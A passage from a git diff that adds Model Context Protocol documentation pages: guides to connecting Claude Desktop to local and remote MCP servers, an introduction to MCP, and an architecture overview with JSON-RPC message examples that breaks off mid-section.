+effects already committed.
+
+## Combining Both Patterns
+
+Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions *and* the token cost of tool results, keeping the model's context focused on reasoning rather than passing data through it.
diff --git a/content/mcp/docs/2025-03-26/develop/connect-local-servers.md b/content/mcp/docs/2025-03-26/develop/connect-local-servers.md
new file mode 100644
index 000000000..83329e938
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/develop/connect-local-servers.md
@@ -0,0 +1,287 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to local MCP servers
+
+> Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations
+
+Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications.
+
+This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the many clients that support MCP. While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action.
+
+
+
+
+
+## Prerequisites
+
+Before starting this tutorial, ensure you have the following installed on your system:
+
+### Claude Desktop
+
+Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows.
+
+If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..."
+
+### Node.js
+
+The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running:
+
+```bash theme={null}
+node --version
+```
+
+If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability.
+
+## Understanding MCP Servers
+
+MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for:
+
+* Reading file contents and directory structures
+* Creating new files and directories
+* Moving and renaming files
+* Searching for files by name or content
+
+All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify.
+
+## Installing the Filesystem Server
+
+The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them.
+
+
+
+ Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..."
+
+ On macOS, this appears in the top menu bar:
+
+
+
+
+
+ This opens the Claude Desktop configuration window, which is separate from your Claude account settings.
+
+
+
+ In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.
+
+ Click the "Edit Config" button to open the configuration file:
+
+
+
+
+
+ This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at:
+
+ * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`
+ * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json`
+
+
+
+ Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories:
+
+
+ ```json macOS theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/Desktop",
+ "/Users/username/Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "C:\\Users\\username\\Desktop",
+ "C:\\Users\\username\\Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed.
+
+
+ **Understanding the Configuration**
+
+ * `"filesystem"`: A friendly name for the server that appears in Claude Desktop
+ * `"command": "npx"`: Uses Node.js's npx tool to run the server
+ * `"-y"`: Automatically confirms the installation of the server package
+ * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server
+ * The remaining arguments: Directories the server is allowed to access
+
+
+
+ **Security Consideration**
+
+ Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually.
+
+
+
+
+ After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.
+
+ Upon successful restart, click the "Add files, connectors and more" indicator in the bottom-left corner of the conversation input box:
+
+
+
+
+
+ Click on this indicator, then scroll over "Connectors" and click "Manage connectors". Select "filesystem" from the connector list to view the the Filesystem Server's available tools:
+
+
+
+
+
+ If the Filesystem Server doesn't connect, refer to the [Troubleshooting](#troubleshooting) section for debugging steps.
+
+
+
+## Using the Filesystem Server
+
+With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities:
+
+### File Management Examples
+
+* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop
+* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents
+* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it
+
+### How Approval Works
+
+Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions:
+
+
+
+
+
+Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action.
+
+## Troubleshooting
+
+If you encounter issues setting up or using the Filesystem Server, these solutions address common problems:
+
+
+
+ 1. Restart Claude Desktop completely
+ 2. Check your `claude_desktop_config.json` file syntax
+ 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative
+ 4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting
+ 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors:
+
+
+ ```bash macOS/Linux theme={null}
+ npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads
+ ```
+
+ ```powershell Windows theme={null}
+ npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads
+ ```
+
+
+
+
+ Claude.app logging related to MCP is written to log files in:
+
+ * macOS: `~/Library/Logs/Claude`
+
+ * Windows: `%APPDATA%\Claude\logs`
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+
+ * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server.
+
+ You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs):
+
+
+ ```bash macOS/Linux theme={null}
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "%APPDATA%\Claude\logs\mcp*.log"
+ ```
+
+
+
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude Desktop
+
+
+
+ Please refer to our [debugging guide](/docs/2025-03-26/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`:
+
+ ```json theme={null}
+ {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\",
+ "BRAVE_API_KEY": "..."
+ }
+ }
+ }
+ ```
+
+ With this change in place, launch Claude Desktop once again.
+
+
+ **npm should be installed globally**
+
+ The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command:
+
+ ```bash theme={null}
+ npm install -g npm
+ ```
+
+
+
+
+## Next Steps
+
+Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup:
+
+
+
+ Browse our collection of official and community-created MCP servers for
+ additional capabilities
+
+
+
+ Create custom MCP servers tailored to your specific workflows and
+ integrations
+
+
+
+ Learn how to connect Claude to remote MCP servers for cloud-based tools and
+ services
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
diff --git a/content/mcp/docs/2025-03-26/develop/connect-remote-servers.md b/content/mcp/docs/2025-03-26/develop/connect-remote-servers.md
new file mode 100644
index 000000000..03c715959
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/develop/connect-remote-servers.md
@@ -0,0 +1,122 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to remote MCP Servers
+
+> Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources
+
+Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources.
+
+Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the many clients that support MCP. While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients.
+
+## Understanding Remote MCP Servers
+
+Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service.
+
+The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication.
+
+## What are Custom Connectors?
+
+Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools.
+
+With Custom Connectors, you can:
+
+* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers
+* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers)
+
+## Connecting to a Remote MCP Server
+
+The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server.
+
+
+
+ Open Claude in your browser and navigate to the settings page. You can access this by clicking on your profile icon and selecting "Settings" from the dropdown menu. Once in settings, locate and click on the "Connectors" section in the sidebar.
+
+ This will display your currently configured connectors and provide options to add new ones.
+
+
+
+ In the Connectors section, scroll to the bottom where you'll find the "Add custom connector" button. Click this button to begin the connection process.
+
+
+
+
+
+ A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components.
+
+
+
+
+
+ After entering the URL, click "Add" to proceed with the connection.
+
+
+
+ Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations.
+
+
+
+
+
+ Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server.
+
+
+
+ After successful connection, the remote server's resources and prompts become available in your Claude conversations. You can access these by clicking the paperclip icon in the message input area, which opens the attachment menu.
+
+
+
+
+
+ The menu displays all available resources and prompts from your connected servers. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools.
+
+
+
+
+
+
+
+ Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized.
+
+
+
+
+
+ Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs.
+
+
+
+## Best Practices for Using Remote MCP Servers
+
+When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience:
+
+**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems.
+
+**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure.
+
+## Next Steps
+
+Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows.
+
+
+
+ Create custom remote MCP servers to integrate with proprietary tools and
+ services
+
+
+
+ Browse our collection of official and community-created MCP servers
+
+
+
+ Learn how to connect Claude Desktop to local MCP servers for direct system
+ access
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
+
+Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently.
diff --git a/content/mcp/docs/2025-03-26/getting-started/intro.md b/content/mcp/docs/2025-03-26/getting-started/intro.md
new file mode 100644
index 000000000..c4dd099be
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/getting-started/intro.md
@@ -0,0 +1,58 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# What is the Model Context Protocol (MCP)?
+
+MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.
+
+Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.
+
+Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.
+
+
+
+
+
+## What can MCP enable?
+
+* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant.
+* Claude Code can generate an entire web app using a Figma design.
+* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat.
+* AI models can create 3D designs on Blender and print them out using a 3D printer.
+
+## Why does MCP matter?
+
+Depending on where you sit in the ecosystem, MCP can have a range of benefits.
+
+* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent.
+* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience.
+* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary.
+
+## Broad ecosystem support
+
+MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/), development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers), [Cursor](https://cursor.com/docs/context/mcp), [MCPJam](https://docs.mcpjam.com/getting-started), and many others all support MCP — making it easy to build once and integrate everywhere.
+
+## Start Building
+
+
+
+ Create MCP servers to expose your data and tools
+
+
+
+ Develop applications that connect to MCP servers
+
+
+
+ Build interactive apps that run inside AI clients
+
+
+
+## Learn more
+
+
+
+ Learn the core concepts and architecture of MCP
+
+
diff --git a/content/mcp/docs/2025-03-26/learn/architecture.md b/content/mcp/docs/2025-03-26/learn/architecture.md
new file mode 100644
index 000000000..1e7982e0b
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/learn/architecture.md
@@ -0,0 +1,463 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Architecture overview
+
+This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept.
+
+Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application.
+
+For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/2025-03-26/sdk).
+
+## Scope
+
+The Model Context Protocol includes the following projects:
+
+* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers.
+* [MCP SDKs](/docs/2025-03-26/sdk): SDKs for different programming languages that implement MCP.
+* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector)
+* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers.
+
+
+ MCP focuses solely on the protocol for context exchange—it does not dictate
+ how AI applications use LLMs or manage the provided context.
+
+
+## Concepts of MCP
+
+### Participants
+
+MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server.
+
+Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients.
+
+The key participants in the MCP architecture are:
+
+* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients
+* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use
+* **MCP Server**: A program that provides context to MCP clients
+
+**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server.
+When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection.
+
+```mermaid theme={null}
+graph TB
+ subgraph "MCP Host (AI Application)"
+ Client1["MCP Client 1"]
+ Client2["MCP Client 2"]
+ Client3["MCP Client 3"]
+ Client4["MCP Client 4"]
+ end
+
+ ServerA["MCP Server A - Local (e.g. Filesystem)"]
+ ServerB["MCP Server B - Local (e.g. Database)"]
+ ServerC["MCP Server C - Remote (e.g. Sentry)"]
+
+ Client1 ---|"Dedicated connection"| ServerA
+ Client2 ---|"Dedicated connection"| ServerB
+ Client3 ---|"Dedicated connection"| ServerC
+ Client4 ---|"Dedicated connection"| ServerC
+```
+
+Note that **MCP server** refers to the program that serves context data, regardless of
+where it runs. MCP servers can execute locally or remotely. For example, when
+Claude Desktop launches the [filesystem
+server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem),
+the server runs locally on the same machine because it uses the STDIO
+transport. This is commonly referred to as a "local" MCP server. The official
+[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the
+Sentry platform, and uses the Streamable HTTP transport. This is commonly
+referred to as a "remote" MCP server.
+
+### Layers
+
+MCP consists of two layers:
+
+* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including lifecycle management, and core primitives, such as tools, resources, prompts and notifications.
+* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization.
+
+Conceptually the data layer is the inner layer, while the transport layer is the outer layer.
+
+#### Data layer
+
+The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics.
+This layer includes:
+
+* **Lifecycle management**: Handles connection initialization, capability negotiation, and connection termination between clients and servers
+* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client
+* **Client features**: Enables servers to ask the client to sample from the host LLM and log messages to the client
+* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations
+
+#### Transport layer
+
+The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants.
+
+MCP supports two transport mechanisms:
+
+* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead.
+* **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens.
+
+The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms.
+
+### Data Layer Protocol
+
+A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients.
+
+MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required.
+
+#### Lifecycle management
+
+MCP is a stateful protocol that requires lifecycle management. The purpose of lifecycle management is to negotiate the capabilities that both client and server support. Detailed information can be found in the [specification](/specification/2025-03-26/basic/lifecycle), and the [example](#example) showcases the initialization sequence.
+
+#### Primitives
+
+MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed.
+
+MCP defines three core primitives that *servers* can expose:
+
+* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries)
+* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses)
+* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples)
+
+Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`).
+MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic.
+
+As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools.
+
+For more details about server primitives see [server concepts](./server-concepts).
+
+MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions.
+
+* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. They can use the `sampling/createMessage` method to request a language model completion from the client's AI application.
+* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes.
+
+For more details about client primitives see [client concepts](./client-concepts).
+
+Besides server and client primitives, the protocol offers cross-cutting utility primitives that augment how requests are executed:
+
+* **Tasks (Experimental)**: Durable execution wrappers that enable deferred result retrieval and status tracking for MCP requests (e.g., expensive computations, workflow automation, batch processing, multi-step operations)
+
+#### Notifications
+
+The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change—such as when new functionality becomes available or existing tools are modified—the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response) and enable MCP servers to provide real-time updates to connected clients.
+
+## Example
+
+### Data Layer
+
+This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate the lifecycle sequence, tool operations, and notifications using JSON-RPC 2.0 messages.
+
+
+
+ MCP begins with lifecycle management through a capability negotiation handshake. As described in the [lifecycle management](#lifecycle-management) section, the client sends an `initialize` request to establish the connection and negotiate supported features.
+
+
+ ```json Initialize Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "initialize",
+ "params": {
+ "protocolVersion": "2025-03-26",
+ "capabilities": {
+ "sampling": {}
+ },
+ "clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ }
+ }
+ }
+ ```
+
+ ```json Initialize Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "protocolVersion": "2025-03-26",
+ "capabilities": {
+ "tools": {
+ "listChanged": true
+ },
+ "resources": {}
+ },
+ "serverInfo": {
+ "name": "example-server",
+ "version": "1.0.0"
+ }
+ }
+ }
+ ```
+
+
+ #### Understanding the Initialization Exchange
+
+ The initialization process is a key part of MCP's lifecycle management and serves several critical purposes:
+
+ 1. **Protocol Version Negotiation**: The `protocolVersion` field (e.g., "2025-03-26") ensures both client and server are using compatible protocol versions. This prevents communication errors that could occur when different versions attempt to interact. If a mutually compatible version is not negotiated, the connection should be terminated.
+
+ 2. **Capability Discovery**: The `capabilities` object allows each party to declare what features they support, including which [primitives](#primitives) they can handle (tools, resources, prompts) and whether they support features like [notifications](#notifications). This enables efficient communication by avoiding unsupported operations.
+
+ 3. **Identity Exchange**: The `clientInfo` and `serverInfo` objects provide identification and versioning information for debugging and compatibility purposes.
+
+ In this example, the capability negotiation demonstrates how MCP primitives are declared:
+
+ **Client Capabilities**:
+
+ * `"sampling": {}` - The client declares it can handle server sampling requests (can receive `sampling/createMessage` method calls)
+
+ **Server Capabilities**:
+
+ * `"tools": {"listChanged": true}` - The server supports the tools primitive AND can send `tools/list_changed` notifications when its tool list changes
+ * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods)
+
+ After successful initialization, the client sends a notification to indicate it's ready:
+
+ ```json Notification theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/initialized"
+ }
+ ```
+
+ #### How This Works in AI Applications
+
+ During initialization, the AI application's MCP client manager establishes connections to configured servers and stores their capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates.
+
+ ```python Pseudo-code for AI application initialization theme={null}
+ # Pseudo Code
+ async with stdio_client(server_config) as (read, write):
+ async with ClientSession(read, write) as session:
+ init_response = await session.initialize()
+ if init_response.capabilities.tools:
+ app.register_mcp_server(session, supports_tools=True)
+ app.set_server_ready(session)
+ ```
+
+
+
+ Now that the connection is established, the client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism — it allows clients to understand what tools are available on the server before attempting to use them.
+
+
+ ```json Tools List Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "tools/list"
+ }
+ ```
+
+ ```json Tools List Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "tools": [
+ {
+ "name": "calculator_arithmetic",
+ "title": "Calculator",
+ "description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "expression": {
+ "type": "string",
+ "description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')"
+ }
+ },
+ "required": ["expression"]
+ }
+ },
+ {
+ "name": "weather_current",
+ "title": "Weather Information",
+ "description": "Get current weather information for any location worldwide",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "location": {
+ "type": "string",
+ "description": "City name, address, or coordinates (latitude,longitude)"
+ },
+ "units": {
+ "type": "string",
+ "enum": ["metric", "imperial", "kelvin"],
+ "description": "Temperature units to use in response",
+ "default": "metric"
+ }
+ },
+ "required": ["location"]
+ }
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Understanding the Tool Discovery Request
+
+ The `tools/list` request is simple, containing no parameters.
+
+ #### Understanding the Tool Discovery Response
+
+ The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.
+
+ Each tool object in the response includes several key fields:
+
+ * **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`)
+ * **`title`**: A human-readable display name for the tool that clients can show to users
+ * **`description`**: Detailed explanation of what the tool does and when to use it
+ * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters
+
+ #### How This Works in AI Applications
+
+ The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations.
+
+ ```python Pseudo-code for AI application tool discovery theme={null}
+ # Pseudo-code using MCP Python SDK patterns
+ available_tools = []
+ for session in app.mcp_server_sessions():
+ tools_response = await session.list_tools()
+ available_tools.extend(tools_response.tools)
+ conversation.register_available_tools(available_tools)
+ ```
+
+
+
+ The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments.
+
+ #### Understanding the Tool Execution Request
+
+ The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name:
+
+
+ ```json Tool Call Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "method": "tools/call",
+ "params": {
+ "name": "weather_current",
+ "arguments": {
+ "location": "San Francisco",
+ "units": "imperial"
+ }
+ }
+ }
+ ```
+
+ ```json Tool Call Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "result": {
+ "content": [
+ {
+ "type": "text",
+ "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%"
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Key Elements of Tool Execution
+
+ The request structure includes several important components:
+
+ 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute.
+
+ 2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example:
+ * `location`: "San Francisco" (required parameter)
+ * `units`: "imperial" (optional parameter, defaults to "metric" if not specified)
+
+ 3. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation.
+
+ #### Understanding the Tool Execution Response
+
+ The response demonstrates MCP's flexible content system:
+
+ 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.)
+
+ 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases.
+
+ 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions.
+
+ This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models.
+
+ #### How This Works in AI Applications
+
+ When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world.
